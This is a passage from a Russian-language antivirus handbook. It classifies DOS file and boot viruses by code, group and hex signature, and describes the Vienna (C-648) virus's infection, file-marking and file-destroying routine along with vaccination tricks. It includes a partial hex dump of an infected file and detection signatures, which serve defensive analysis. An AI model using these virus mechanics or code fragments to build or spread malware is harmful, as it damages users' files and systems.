соответствующую переходу  на подпрограмму  перезагрузки BIOS.  Для
поиска уничтоженных  вирусом программ  можно  использовать  строку
"EAF0FF00F0". Аналогично вирус RCE-1800 уничтожает сектора на вин-
честере,  записывая   в  первые   байты  сообщение  "Eddie  livesт
somewhere in  time". По этому сообщению с помощью Norton Utilities
или PC  Tools можно выявить все пораженные сектора и определить, к
каким файлам они относятся.
  При наличии  сигнатуры проверку зараженности файлов вирусом дан-
ного типа  удобно выполнять,  используя специальные  программы, из
которых, по  мнению автора, наиболее удачной является программа VL
(см. прил.5),  позволяющая проводить поиск в каталоге или заданных
его ветвях. В случае обнаружения зараженных программ целесообразно
дополнительно  проконтролировать   результаты  с   помощью  Norton
Utilities (NU) или PCTools, которые всегда под рукой (для просмот-
ра всех файлов можно использовать режим глобального поиска по дис-
ку).

               3.2. Классификация файловых вирусов

  Файловые вирусы являются наиболее распространенным типом компью-
терных вирусов; они составляют примерно 80% от общего числа компь-
ютерных вирусов,  известных для компьютеров, совместимых с IBM PC.
Этот класс компьютерных вирусов обладает весьма высокой инфицирую-
щей способностью.  При отсутствии противодействия они вызывают на-
стоящие эпидемии. Так, например, произошло с вирусом RCE-1813, из-
вестным также  под названиями  Jerusalem (Иерусалим), Black Friday
(Черная пятница) и др. Классификационная таблица файловых вирусов,
обнаруженных в СССР, приведена в прил.1.
  Группы файловых  вирусов. Большинство  распространенныx файловыx
вирусoв имеют  штаммы, незначительно  отличающиеся от базовой вер-
сии. Поэтому можно говорить о группах файловых вирусов и, соответ-
ственно, групповых  дескрипторах и групповых сигнатурах. В настоя-
щее время можно выделить следующие группы файловых вирусов.
  1) Венская  группа. Первым  представителем этой группы был вирус
С-648, обнаруженный  в Вене  примерно в 1987 г. Его дизассемблиро-
ванный код  был опубликован и распространялся в виде файла на дис-
кетах с соответствующими антивирусными программами, поэтому попыт-
ки его модификации наиболее многочисленны.

  2) Группа  CASCADE. Первым  представителем этой группы был вирус
RС-1701, обнаруженный примерно в середине 1988 г.
  3) Иерусалимская  группа. Первым  представителем этой группы был
вирус RCE-1813,  обнаруженный в Иерусалимском университете в конце
1987 г.  Данная группа имеет значительное число штаммов (более де-
сятка).
  4) Группа TP-вирусов (эти вирусы, вероятно, разработаны в Болга-
рии; большинство  представителей  этой  группы  имеют  характерный
"хвост" длиной  четыре байта,  в котором  за двумя первыми байтами
(F4FAh) следует  байт с 16-ричным значением версии вируса (как уже
указывалось, этот  байт является предпоследним байтом в зараженной
программе). В свою очередь, эта группа разбивается на три подгруп-
пы у "VACSINE"  (TP-4, TP-5,  TP-16),  "музыкальной  перезагрузки"
(TP-24, TP-25)  и "самоедов"  (TP-34 и старше). Две последние под-
группы часто  называют "Yankee Doodlе" (Янки дудль), поскольку они
при определенных условиях проигрывают мелодию Yankee Doodlе Dandy.
Данная группа  имеет наибольшее  количество штаммов у порядка двух
десятков (не все номера версий соответствуют реальным вирусам).
  5) Группа  Avenger. Представители этой группы обладают более вы-
сокой  инфицирующей   способностью  по   сравнению  с  предыдущими
группами, поскольку  заражают файлы не только при выполнении, но и
при открытии и чтении. Один из представителей этой группы периоди-
чески уничтожает  сектора на винчестере, записывая в них текстовое
сообщение.
  6) Голландская группа (Datacrime). Представители этой группы ак-
тивизируются 12 октября текущего года и уничтожают первые 8 секто-
ров логических дисков A, B, C и D.
  7) Исландская группа (Icelandic).
  Следует отметить, что две из упомянутых выше групп вирусов пока,
по-видимому, не  попали в  нашу страну (группа Datacrime и исланд-
ская группа).  Кроме того, в настоящее время на базе некоторых ви-
русов начинают  образовываться новые группы. Фактически это проис-
ходит с каждым вирусом, получившим значительное распространение.
  Классификационный код  файлового вируса.  Как  уже  указывалось,
файловые вирусы  можно разделить  на резидентные  и нерезидентные,
что во многом определяет поведение вируса и, прежде всего, его ин-
фицирующую способность  (резидентные вирусы  обладают  существенно
более высокой  инфицирующей способностью, чем нерезидентные). Поэ-
тому код резидентных вирусов будем начинать с префикса R, например
RC-1701.
  Префикс. Помимо символа R, классификационный код файлового виру-
са может включать символы С и Е или их сочетания. Как уже указыва-
лось, символы  С и E определяют типы файлов, заражаемых данным ви-
русом. Например,  если резидентный  вирус заражает   COM-   и EXE-
файлы, то его классификационный код будет иметь префикс RCE.
  Количественная  характеристика.  К  непосредственно  наблюдаемым
объективным свойствам файловых вирусов прежде всего относится при-
ращение длины  файлов при заражении. Это приращение, обусловленное
наличием вируса,  можно использовать  для  определения  его  типа.
Здесь есть  две основные  проблемы. Во-первых, величина приращения
может варьироваться в зависимости от длины заражаемого файла (мно-
гие вирусы  при дописывании  своего кода в конец заражаемого файла
выравнивают свое тело на ближайший адрес, кратный 16, т.е. на гра-
ницу параграфа). Во-вторых, величина приращения может не совпадать
для COM-файлов и EXE-файлов. Поэтому в качестве количественной ха-
рактеристики необходимо использовать нормированное приращение, оп-
ределяемое по следующим правилам.
  1) Для вирусов с префиксом С и CE (RC, RCE) характеристика клас-
сификационного кода  принимается  равной  минимальному  приращению
длины зараженного COM (для вирусов типа С и CE) или EXE (для виру-
сов типа Е) файла.
  2) Для  вирусов, не  изменяющих длины файла, указывается ноль, а
через тире действительная длина тела вируса, например RC-0-346.
  3) Для вирусов, маскирующих увеличение длины файла на зараженной
машине к  характеристике, определенной  по правилам п.1, слева до-
бавляется незначащий ноль (например, RCE-02000).
  Отметим, что предложенный в п.1 подход позволяет исключить влия-
ние выравнивания  на границу  параграфа для вирусов, выравнивающих
свое тело  указанным способом. Кроме того, для вирусов, изменяющих
приращение случайным  образом, например, путем подгонки его до ве-
личины, кратной  51, минимальное приращение также позволяет исклю-
чить влияние  вставляемых байтов  (этот случай можно рассматривать
как разновидность  выравнивания). И  наконец, для  вирусов, много-
кратно заражающих  один и  тот же файл, использование минимального
приращения позволяет исключить влияние многократного заражения.
  Для определения указанной характеристики не требуется проведение
экспериментов по  заражению файлов  с такой  длиной. Ее достаточно
просто определить, сопоставив приращения длин двух или более зара-
женных файлов типа COM. Чаще всего файловые вирусы заражают коман-
дный процессор MS DOS (файл COMMAND.COM) и программы, вызываемые в
файле AUTOEXEC.BAT.  При анализе нескольких зараженных файлов воз-
можны два наиболее типичных (хотя и не единственно возможных) слу-
чая.
  Если приращения длин двух или более зараженных файлов совпадают,
а остатки  от деления  длин исходных  файлов на 16 отличны друг от
друга, то скорее всего вирус не выполняет выравнивание своего кода
на границу  параграфа и  полученное приращение является характери-
стикой данного  вируса. Если  приращения отличны,  то скорее всего
вирус выполняет  выравнивание своего  тела на границу параграфа, и
характеристику L  данного вируса можно получить по формуле L = D у
(16уmod(LEN,16)), т.е.  путем вычитания  из полученного приращения
(D) дополнения  (до 16) остатка от деления исходной длины файла на
16. Например, файл COMMAND.COM, который файловые вирусы обычно по-
ражают в  числе первых,  в наиболее  распространенной в  настоящее
время версии  MS DOS  3.3  обычно  имеет  длину  25307.  При  этом
mod(25307,16)=11, т.е.  остаток от  деления 25307 на 16 равен 11 .
Очевидно, что  дополнение до 16 равно 5 и для выравнивания на гра-
ницу параграфа  требуется вставка пяти дополнительных байт. В этом
случае характеристика  вируса будет  на 5  меньше, чем  приращение
длины файла  COMMAND.COM. Достоинством  принятого подхода является
то, что, за редким исключением (например, вирус RCE-1813), опреде-
ленная таким  образом числовая  характеристика совпадает  с длиной
кода вируса.
  В качестве количественной характеристики классификационного кода
могут применяться  и другие параметры. На них стоит кратко остано-
виться, поскольку  использованные в  них подходы  будут безусловно
открываться и  переоткрываться другими авторами. По-видимому, наи-
более распространенными можно считать следующие два подхода.
  1) Использование  в качестве количественной характеристики длины
кода вируса, определенной по константе, содержащейся во фрагменте,
который обеспечивает  дописывание кода  вируса в  заражаемый  файл
(эту константу можно сравнительно легко определить, анализируя ди-
зассемблированный код  вируса). Такая характеристика является объ-
ективной, поэтому  ее часто  используют разработчики  антивирусных
программ, достаточно  хорошо владеющие  языком ассемблера.  Однако
определенная таким образом характеристика в ряде случаев не совпа-
дает с  наблюдаемым значением  приращения длин файлов, что снижает
ее ценность с точки зрения использования при попытке классификации
пользователем, не владеющим языком ассемблера, нового, еще неизве-
стного ему  вируса. Hапример,  для упомянутого выше иерусалимского
вируса длина  кода вируса составляет 1808 байт, а приращение длины
при заражении  файлов типа  СОМ у 1813 байтов, что объясняется до-
полнительным дописыванием в конец зараженного файла типа COM пяти-
байтовой константы  "MsDos" (используется как признак зараженности
файла).

  2) Использование в качестве количественной характеристики прира-
щения длины  какого-то конкретного файла, полученного в результате
его заражения.  В ранних редакциях данной работы автор использовал
этот  подход,   причем  в  качестве  эталонного  был  выбран  файл
COMMAND.COM версии  3.3 MS  DOS. Этот действительно удобный подход
утратил свою  привлекательность  с  появлением  ряда  вирусов,  не
заражающих командный  процессор, а  также распространением  версии
4.0 MS DOS, в которой длина файла COMMAND.COM составляет 37637.
  Суффикс. Возможны случаи, когда два разных вируса или два штамма
одного и того же вируса имеют одинаковые префикс и характеристику.
В этом случае, для того, чтобы получить уникальные классификацион-
ные коды  вирусов будем использовать в качестве суффикса одну бук-
ву. Например, в коде RС-1704f буква f означает "штамм-f". При этом
буква "G"  резервируется за так называемыми группами вирусов о ко-
торых сказано выше.
  Дескриптор файлового вируса. Используемые характеристики вирусов
приведены в  прил.1. Для  файловых  вирусов,  неизвестных  в  СССР
(прил.3), информация  комбинировалась из  различных  источников  и
возможно содержит ошибки.
  Сигнатура файлового  вируса. Как  уже указывалось,  для сигнатур
целесообразно использовать шестнадцатиричные строки, соответствую-
щие характерным последовательностям команд в теле вируса. Располо-
жение сигнатур в прил.1 подчиняется правилу: если сигнатура M вхо-
дит в  сигнатуру V,  то она  приводится после сигнатуры V. Как уже
указывалось в предыдущей части, сигнатуры T существуют не для всех
файловых вирусов.  Одной из наиболее удобных сигнатур для файловых
вирусов являются  J-сигнатуры. Их  можно очень быстро определить с
помощью любого  отладчика (DEBUG,  Turbo Debugger,  AFD  и  т.д.).
Пользователи, не  умеющие работать  с отладчиками, могут использо-
вать для  определения J-сигнатур  программу, входящую  в пакет  VL
(см. прил.5).
  Следует отметить,  что контекстный  поиск можно  использовать не
только для  поиска зараженных  вирусом программ,  но и  для поиска
программ и  файлов, уничтоженных  или поврежденных вирусом. Напри-
мер, вирус С-648 при определенных значениях таймера вместо зараже-
ния программы  уничтожает ее,  записывая в первые 5 байтов строку,
соответствующую переходу  на подпрограмму  перезагрузки BIOS.  Для
поиска уничтоженных  вирусом программ  можно  использовать  строку
"EAF0FF00F0". Аналогично вирус RCE-1800 уничтожает сектора на вин-
честере, записывая  в первые  байты  сообщение  "Eddie  lives  ...
somewhere in  time". По этому сообщению с помощью Norton Utilities
или PC  Tools можно выявить все пораженные сектора и определить, к
каким файлам они относятся.

                3.3. Классификация бутовых вирусов

  Как и  для файловых вирусов, будем выделять группы бутовых виру-
сов, а  для каждого отдельного вируса у классификационный код, де-
скриптор и сигнатуры.
  Группы бутовых вирусов. Большинство распространенныx бутовых ви-
русoв имеют штаммы, которые можно объединить в группы. В настоящее
время можно выделить следующие группы бутовых вирусов:
  1) итальянская  (первым представителем  вирусов этой  группы был
вирус, Bx1-1C, появившийся примерно в конце 1987 г.);
  2) пакистанская  (в нее входят вирусы Brain, Ashar; первым пред-
ставителем этой  группы был вирус Dx3-E9 (Brain-86), разработанный
в 1986 г. в Лахоре (Пакистан));
  3) новозеландская  (родоначальником  которой  был  вирус  M-05 у
Stoned);
  4) индийская  (включающая большую  группу вирусов,  из которых в
СССР обнаружен один у Joshy).
  Классификационный код  бутового вируса  состоит  из  префикса  и
количественной характеристики.
  Префикс. Поскольку все бутовые вирусы являются резидентными, ис-
пользование символа  R в префиксе их классификационного кода неце-
лесообразно. Наиболее важным свойством бутовых вирусов, сопостави-
мым  по  значению  с  резидентностью  файловых  вирусов,  является
спосoбность некоторых  бутовых вирусов  сохраняться в памяти после
"мягкой"  пeрезагрузки  путем  нажатия  последовательности  клавиш
Ctrl-Alt-Del. Это  свойство мы  будем обозначать буквой W (survive
Warm reboot)  в префиксе. Все бутовые вирусы заражают дискеты, од-
нако некоторые  из них  заражают винчестер,  а другие нет. Вирусы,
инфицирующие только дискеты (Brain, Den Zuk) будем обозначать пре-
фиксом D.
  При заражении  бутсектора возможны два случая: заражение бутсек-
тора раздела  С винчестера (префикс B) и заражение MBR у исполняе-
мой части  таблицы разделов (префикс M). Поскольку одним из наибо-
лее распространенных  случаев расположения  хвоста бутового вируса
является его расположение в псевдосбойных кластерах (что легко оп-
ределить, просмотрев их содержимое с помощью Norton Utilities), то
для таких  вирусов в  суффикс будем  включать букву  х, за которой
следует количество этих кластеров, например Bx1.
  Количественная характеристика  бутового вируса.  Выбор количест-
венной характеристики  для бутовых вирусов имеет определенную спе-
цифику: если  для файловых  вирусов наиболее характерным признаком
заражения является  увеличение длины файла, то для бутовых вирусов
аналогичную роль  играет уменьшение  размеров оперативной  памяти,
доступной для  MS DOS. Однако, как указывалось выше, важным требо-
ванием к  выбору свойств  вируса, используемых  для классификации,
является возможность  их определения на незараженной машине. Объем
оперативной памяти, сообщаемый MS DOS, этому критерию не отвечает.
Количество блоков памяти, используемых бутовым вирусом, этому кри-
терию не  отвечает, поэтому  от этой характеристики пришлось отка-
заться. Было  решено использовать другую "доступную для обозрения"
характеристику бутового вируса у содержимое зараженного бутсектора
(точнее первых  его байтов).  Вместе с  тем, анализ объема памяти,
сообщаемого MS  DOS, является  очень полезным диагностическим при-
емом, и  при подозрении  на заражение  тем или иным вирусом, вызов
программы CHKDSK,  сообщающей это значение (а также ряд других по-
лезных сведений,  включая объем  памяти, занятый на диске сбойными
кластерами), целесообразно вставлять в файл AUTOEXEC.BAT.
  В качестве  характеристики выбрано  значение второго байта зара-
женного бутсектора,  поскольку его содержимое различно для извест-
ных автору  бутовых вирусов.  В то же время содержимое этого байта
записывается в 16-ричной системе счисления, что создает определен-
ную несогласованность  с характеристикой  файловых вирусов, являю-
щейся десятичным  числом. Именно  поэтому в  предлагаемом варианте
классификационного кода вируса прeфикс и характеристика разделяют-
ся знаком "-" (минус).
  Следует еще  раз подчеркнуть,  что просматривать содержимое бут-
сектора следует только предварительно загрузившись с защищенной от
записи резервной  дискеты с операционной системой и требуемыми ан-
тивирусными программами,  поскольку сама операция просмотра на за-
раженной машине может либо перехватываться вирусом для подстановки
"чистого" бутсектора (так, например, маскируется вирус Brain), ли-
бо, что еще хуже, служить триггером для каких-то несанкционирован-
ных действий. Следует использовать так называемую "холодную" пере-
загрузку (с помощью клавиши RESET, если она есть, или путем выклю-
чения питания,  если ее нет), а не "теплую" перезагрузку (нажатием
клавиш CTRL-ALT-DEL).  Это требование  основано на  том факте, что
ряд бутовых  вирусов перехватывает  прерывание от клавиатуры и при
"теплой" перезагрузке  MS DOS  сохраняет себя  в памяти, даже если
перезагрузка идет с защищенной системной дискеты.

  Дескриптор бутового вируса. Структура дескриптора бутового виру-
са приведена в прил.2.
  Сигнатура бутового  вируса. Для бутовых вирусов сигнатуры M, I и
B будут  использоваться аналогично тому, как это было для файловых
вирусов, а J-сигнатура у в несколько измененном виде. В отличие от
J-сигнатуры для файловых вирусов, в которой байты, соответствовав-
шие команде перехода, не учитывались, здесь они будут учитываться.
Это связано  с тем, что первой командой бутсектора всегда является
команда обхода таблицы параметров диска (см. прил.6), размер кото-
рой, в  отличие от размера заражаемого файла, не меняется. Поэтому
для бутовых вирусов мы преимущественно будем использовать J-сигна-
туру, состоящую  из первых трех байтов бутсектора и лишь при необ-
ходимости дополнять  ее, начиная  с байта,  на который выполняется
команда перехода.
  Для незараженного бутсектора MS DOS версии 3.3 J-сигнатура равна
EB3490h (объектный  код команды  JMP, служащий  для обхода таблицы
параметров). Ценность  этой эталонной  J-сигнатуры состоит  в том,
что она  легко запоминается. Поэтому несовпадение первых трех бай-
тов анализируемого  бутсектора с  указанной эталонной J-сигнатурой
свидетельствует о зараженности бутсектора (отметим, что совпадение
еще ни  о чем  не говорит).  В прил.2 приведены краткие сведения о
бутовых вирусах, обнаруженных в СССР.

           3.4. Использование классификационных таблиц

                   в качестве части документации
                     к антивирусным программам
  В заключение  отметим, что  предлагаемая классификация является,
по существу,  одной из первых попыток стандартизации, поэтому она,
конечно, не  лишена недостатков, и естественно, должна совершенст-
воваться. В  то же  время любой  классификации присущи те или иные
недостатки и  ожидание идеальной  классификации глубоко  ошибочно.
Здесь, как  и в большинстве областей программирования (например, в
языках высокого  уровня), пожалуй,  важнее во-время сделать ставку
на какой-то более или менее приемлемый вариант, чем самому тратить
время и силы на разработку более удачной альтернативы.
  Поэтому разработчикам  антивирусных программ имеет смысл исполь-
зовать описанную классификацию при подготовке документации и выда-
че диагностических  сообщений, даже  имея некоторые  возражения  к
принятому подходу. Поскольку автор регулярно обновляет приведенные
таблицы вирусов,  основанные на предложенной классификации, их ис-
пользование в качестве части документации к распространяемым анти-
вирусным программам  не только  повысит полноту и качество послед-
ней, но  и сэкономит  время на  последующую корректировку, которая
может быть  выполнена просто путем замены предыдущей редакции таб-
лиц на текущую.
  Использование  в  антивирусных  программах  кода  и  дескриптора
вируса  упрощает   программирование  ряда   компонент  и   создает
некоторые   нетривиальные   возможности.   В   простейшем   случае
дескриптор вируса  можно рассматривать  как способ  упаковки файла
оперативной подсказки  сведений о  найденном вирусе.   При  выдачи
информации о  вирусе по  клавише  HELP  (F1)  содержащуюся  в  нем
достаточно подробную  информацию можно  развернуть до  практически
полного описания  найденного вируса  путем замены значения каждого
из полей  дескриптора на  соответствующие ему стандартные фразы на
русском или  английском языке.  В этом  случае,  вместо  двух-трех
малоинформативных фраз,  выдаваемых на  экран в  виде  оперативной
подсказки (по принципу "получи и отвяжись"), пользователь получает
действительно полезную информацию.

                4. НЕРЕЗИДЕНТНЫЕ ФАЙЛОВЫЕ ВИРУСЫ,
                        ОБНАРУЖЕННЫЕ В СССР

  Ниже приводятся  описания нерезидентных  файловых вирусов,  изу-
ченных автором  на момент выхода данной работы. В целях системати-
зации описываемые вирусы разбиты на несколько групп. Как для самих
групп, так  и вирусов внутри группы изложение ведется в основном в
хронологическом порядке (по появлению в Киеве).

                       4.1. Венская группа

  Венская группа  берет свое  начало с  вируса С-648.  Для  данной
группы характерен  механизм поиска  зараженных файлов, который вы-
полняется во всех каталогах, сцепленных командой PATH, и использо-
вание поля секунд для отметки зараженных файлов. В настоящее время
включает три штамма, наиболее распространенным из которых является
исторически первый у  С-648. Указанные штаммы отличаются по методу
включения троянской  компоненты, которая вызывает уничтожение COM-
файлов путем  перехода на  подпрограмму перезагрузки  операционной
системы. Большинство штаммов используют для этой цели текущее зна-
чение таймера  (см.ниже), однако некоторые  (которыми мы не распо-
лагаем) у значение  даты создания  файла. Наиболее  распространены
штаммы с длинами 648, 623, 627 байтов.

           4.1.1. Базисный вирус С-648 (Vienna у Вена)

  Название вируса  С-648 связано с тем, что после запуска заражен-
ной программы  вирус активируется  и ищет  файл-жертву. Если файл-
жертва был  найден в  определенный момент времени (среди последних
трех битов  16-ричного представления секунд нет ни одной единицы),
то вместо  заражения программы,  содержащейся в  этом файле, С-648
вставляет в начало этой программы команды перехода на подпрограмму
"теплого рестарта",  делая тем  самым программу  в соответствующем
СОМ-файле неработоспособной.  "Убитые" вирусом  программы не могут
быть восстановлены  без наличия  информации о  начале программы, а
зараженные могут  "излечиваться" с  помощью соответствующего фага.
Формально вирус  С-648 у файловый  нерезидентный вирус, поражающий
файлы типа СОМ. Функционирует на версиях MS DOS, начиная с 2.0.
  Стратегия заражения у поиск файла с расширением СOM в каталогах,
сцепленных в PATH. Заражение СOMMAND.COM выполняется так же, как и
заражение любого  другого COM-файла:  никаких механизмов по поиску
размещения командного  процессора вирус не содержит. При заражении
он дописывается  в конец программы и одновременно вставляет в пер-
вые три  байта COM-файла команду перехода на тело вируса. При этом
размер файла  увеличивается на  648 байтов,  дата создания файла и
атрибуты файла  не меняются. Заражение выполняется однократно. Ми-
нимальный размер  заражаемых файлов у  10 байтов (0Ah), максималь-
ный у (FA00h). Поскольку вирус определяет тип файла только по рас-
ширению, заражение EXE-файлов с расширением COM выполняется непра-
вильно. Это  приводит к потере работоспособности зараженных файлов
указанного типа: их запуск обычно ведет к зависанию системы. После
обработки такой программы фагом работоспособность восстанавливает-
ся.

  Для отличения  зараженных файлов  от  незараженных  используются
младшие четыре  бита времени создания файла (для зараженных файлов
они все  устанавливаются в единицу, что соответствует несуществую-
щему количеству секунд у 62 с.). Следует отметить, что как команда
DIR, так  и распространенные оболочки типа Norton Commander не по-
казывают поле секунд, выдавая содержимое каталога на экран. Поэто-
му это изменение достаточно хорошо скрыто от пользователя.
  При запуске инфицированной программы управление сначала получает
сам вирус.  Получив управление,  вирус устанавливает  свою область
передачи данных, осуществляет поиск файлов типа COM на всех дисках
и во всех каталогах, сцепленных с помощью команды PATH. При нахож-
дении такого  файла вирус  прежде всего проверяет его время созда-
ния, по  которому определяет,  заражен уже этот файл или нет. Если
файл отмечен как незараженный и его длина больше десяти байтов, то
он рассматривается как "потенциальная жертва" и вирус приступает к
его заражению. При этом вирус не проверяет, не является ли файл на
самом деле файлом типа EXE (начинающимся с "MZ"), ошибочно или на-
меренно "замаскированным"  под файл  типа COM.  Указанные файлы  в
случае заражения уничтожаются.
  Следует отметить,  что защита  файлов  атрибутами  READ  ONLY  и
HIDDEN в MS DOS недостаточно эффективна, поскольку вирус легко из-
меняет эти  атрибуты. Сначала  вирус запоминает  атрибуты, дату  и
время создания  заражаемого файла.  Затем сбрасывает  атрибут READ
ONLY, если он был установлен, открывает файл на запись и считывает
текущее время.  Если выданное по прерыванию 21-2С содержимое реги-
стра DH  содержит в последних трех битах нули (т.е. системные часы
показывают 0,  8, 16, 24, 32, 40, 48 или 56 с.), то вирус предпри-
нимает попытку  уничтожения "потенциальной жертвы". Иначе выполня-
ется попытка  заражения. Другими словами, приблизительно в 12% по-
раженных вирусом программ уничтожены первые пять байтов.
  Уничтожение выполняется путем записи в первые пять байтов коман-
ды перехода  на подпрограмму  перезагрузки BIOS (переход по адресу
F000:FFF0). В  дальнейшем при  попытке выполнить "пораженную" про-
грамму вместо ее выполнения будет выполняться перезагрузка MS DOS.
Если при  этом программа  входит в  AUTOEXEC.BAT, то  при загрузке
произойдет зацикливание и с винчестера или данной системной диске-
ты загрузиться нельзя без корректировки AUTOEXEC.BAT.
  При заражении,  которое выполняется, только если хотя бы один из
последних трех  битов времени  создания файла равен единице, вирус
переписывает свой  код в  конец файла и заносит в первые три байта
команду JMP для передачи ему управления. После этого С-648 восста-
навливает дату, время и атрибуты уже зараженного файла, и управле-
ние передается  программе-вирусоносителю. При  восстановлении даты
количество секунд  устанавливается равным 62 (т.е. последним четы-
рем битам  присваиваются значение  1111). По  этому значению вирус
отличает  зараженные   файлы  от  незараженных,  что  обеспечивает
однократность заражения.  Впрочем,  при  архивировании  зараженных
файлов поле  секунд может  теряться (количество  секунд во времени
создания файла не выдается ни одной командой MS DOS), что приведет
к повторному заражению.
  Поскольку вирус  C-648 не проверяет, находится ли заражаемый или
уничтожаемый файл  на защищенной дискете или нет, то в этом случае
выдается обычное сообщение операционной системы:

  Write protect error writing device <лог.имя.устр.>
  Abort, Retry, Ignore, Fail?

в ответ  на которое  неопытные пользователи часто снимают защитную
заклейку прорези  дискеты, тем самым разрешая вирусу заразить оче-
редную программу.  Этот эффект  представляет интерес как наглядная
демонстрация того непреложного факта, что человек является важней-
шим звеном в любой системе обеспечения безопасности.

  Исторические замечания.  Данный вирус появился в США в 1987 г. и
получил широкое  распространение в  Западной Европе  в 1988 г.  Об
этом, в  частности, свидетельствует  тот факт,  что среди  средств
борьбы с  этим вирусом имеются немецкие, польские, чешские и авст-
рийские программы.
  В СССР  вирус С-648  появился приблизительно  в августе 1988 г.,
когда он  был обнаружен в лаборатории Института программных систем
(Переславль-Залесский). Возможно,  он попал туда во время проведе-
ния институтом (совместно с ЮНЕСКО) Международного детского компь-
ютерного летнего  лагеря. Поскольку  этот вирус к середине 1988 г.
был уже довольно распространен в Западной Европе, включая соцстра-
ны, он несомненно завозился в СССР неоднократно, c различного рода
новыми версиями программного обеспечения и компьютерными играми. В
Киеве этот  вирус появился в конце 1988 г., а наибольшее распрост-
ранение получил примерно в апреле 1989 г., после чего его эпидемия
пошла на убыль, что прежде всего связано с достаточной распростра-
ненностью средств  защиты от  этого вируса.  Одним из переносчиков
этого вируса  в Киеве  являлся  адаптированный  вариант  программы
SideKick (шестерка).  К сожалению,  по стране распространяется от-
комментированный исходный текст данного вируса, который, в частно-
сти, был включен В.Бончевым в его "вирусную" дискету.  Доступность
исходных текстов сделало этот вирус базой для многочисленных штам-
мов и несколько таких штаммов уже выявлено в СССР(см. ниже  описа-
ние вирусов С-534 и С623).
  Первыми антивирусными программами, попавшими в Киев и ориентиро-
ванными на  борьбу с этим вирусом, были зарубежные программы, рас-
пространявшиеся в  виде случайного набора набора на дискете. Среди
них наибольшей  популярностью на  начальном этапе пользовались де-
тектор DIAG и фаг CURE Д.Сопчека (ПНР), DR_NO, FAG_OM и др. Отече-
ственные средства  появились несколько позднее, однако со временем
основным средством  борьбы стали такие отечественные полифаги, как
AIDSTEST, DOCTOR, VDEATH и др.
  Неформальные названия.  Данный вирус  имеет не менее десятка не-
формальных названий.  Среди них:  Vienna (Вена), DOS-62, Time Bomb
(Часовая  мина),   Flea  (Блоха),  вирус  перезагрузки,  VHP-648',
RESTART (Рестарт у  О.Котик), Rebooter  (Перезагрузчик),  P-virus,
Omega (Омега).  Полидетектор SCAN  называет данный  вирус  "Vienna
(DOS 62) Virus у Version A [Vienna]".
  Программные средства защиты. Для данного вируса имеется огромное
количество программ  типа детекторов и фагов. При этом большинство
из них не указывают, для какого типа вируса они предназначены. По-
этому очень  часто в  "батарее антивирусных средств", составляемых
на многих  ВЦ, используется несколько эквивалентных по своим функ-
циональным возможностям  детекторов или фагов для этого типа виру-
са. Уничтоженные  вирусом файлы, т.е. файлы, в которых вместо пер-
вых пяти байтов записана команда безусловного перехода на перезаг-
рузку MS  DOS (EA  F0 FF  00 F0),  можно восстановить, только если
первые байты  программы были  предварительно записаны в справочном
файле программой-ревизором  (типа CRCDOS).  В настоящее  время все
полидетекторы и  все полифаги  обрабатывают программы,  зараженные
данным вирусом.  Автор рекомендует полифаг AIDSTEST. Защита винче-
стера от  данного вируса  облегчается при  использовании программы
Advanced Disk  Manager, которая позволяет устанавливать защиту за-
писи и  для разделов  винчестера. Вакцина  от данного вируса может
быть создана двумя способами. Во-первых, поскольку при поиске сло-
ва PATH  вирус фактически ищет подстроку "PATH=", его можно "наве-
сти на  ложный  аэродром",  вставив  в  AUTOEXEC.BAT  строку  вида
SET XPATH =  Х:\DUMMY до "настоящей" строки SET PATH=. В приведен-
ном примере DUMMY у несуществующий каталог, а первая (или несколь-
ко первых)  букв в  имени ловушки могут быть произвольными. В этом
случае вирус  "поймает" первую букву "P", входящую в слово XPATH и
будет пытаться  искать файлы на несуществующем диске Х и несущест-
вующем каталоге  DUMMY. Аналогичную  ловушку можно  ставить  и  на
COMSPEC, и  хотя для  данного вируса она не нужна, важно понимать,
что данную  идею "обмана"  вирусов можно  развить в нескольких на-
правлениях. Другими словами, она может быть обобщена до некоторого
универсального приема  использования особенностей  кодировки соот-
ветствующих частей вируса. Кроме того, целесообразно создать ката-
лог BAT (имя может быть произвольным) и записать в него пакеты для
вызова часто  используемых программ  в виде  BATCH-файлов. В  этом
случае достаточно  указать в  PATH только этот каталог, что вполне
безопасно, поскольку ни одного файла типа COM в нем нет. Этот спо-
соб, наряду  с повышением  безопасности, ускоряет  вызов программ,
позволяет настроить среду и передать стандартные параметры. Поэто-
му его стоит использовать как можно шире.
  Второй способ вакцинирования состоит в записи в последние четыре
бита времени  создания файла  четырех единиц  для всех файлов типа
COM. Это соответствует невозможному количеству секунд (62) во вре-
мени создания  (последние четыре бита хранят половинное количество
секунд). Именно  так вирус  помечает зараженные  им файлы. Правда,
здесь существует  опасность, что  при обработке тем или иным фагом
последний может  принять чистые  файлы за  зараженные, однако  эта
проблема носит скорее теоретический, чем практический характер.

        Фрагмент дампа дрозофилы, зараженной вирусом C-648

       +-------- команда передачи управления телу
     +----+      вируса
000: E90D009090909090 9090909090909090  ................

     +- ****** -------- J-сигнатура (звездочками поме-
     |                  чены изменяемые   вирусом байты)
010: 51BA0903FC8BF281 C60A00BF0001B903  Q...............
020: 00F3A48BF2B430CD 213C007503E9C701  ......0.!<.u....
030: 06B42FCD21899C00 008C84020007BA5F  ../.!.........._
040: 009003D6B41ACD21 06568E062C00BF00  .......!.V..,...
050: 005E5681C61A00AC B90080F2AEB90400  .^V.............
060: ACAE75EDE2FA5E07 89BC16008BFE81C7  ..u...^.........
...  ..  ..  ..  ..   ..  ..  ..  ..    .. .. .. .. ..
1E0: 00BA1F009003D6CD 211EB41A8B940000  ........!.......
1F0: 8E9C0200CD211F59 33C033DB33D233F6  .....!.Y3.3.3.3.
200: BF00015733FFC2FF FF8000ED251B0121  ...W3.......%..!
210: 002000909090E90D 002A2E434F4D001C  . .......*.COM..
220: 002006504154483D 473634382E434F4D  . .PATH=G648.COM
230: 2020202020202020 2020202020202020
***  последующие строки идентичны предыдущей ***
260: 2020202020202020 033F3F3F3F3F3F3F          .???????
270: 3F434F4D030500EE 0200000000201B01  ?COM......... ..
280: 2100100000004736 34382E434F4D004D  !.....G648.COM.M
290: 000000EAF0FF00F0                   ........

      Фрагмент дампа дрозофилы, "уничтоженной" вирусом С-648

000: EAF0FF00F0909090 9090909090909090  ................
...  ..  ..  ..  ..   ..  ..  ..  ..    .. .. .. .. ..

                  4.1.2. Штамм С-623 (Vienna-X)

  Вирус С-623  отличается от C-648 наличием обработки ненормальных
окончаний, что обеспечивает подавление сообщений вида

  Write protect error writing device <лог.имя.устр.>
  Abort, Retry, Ignore, Fail?

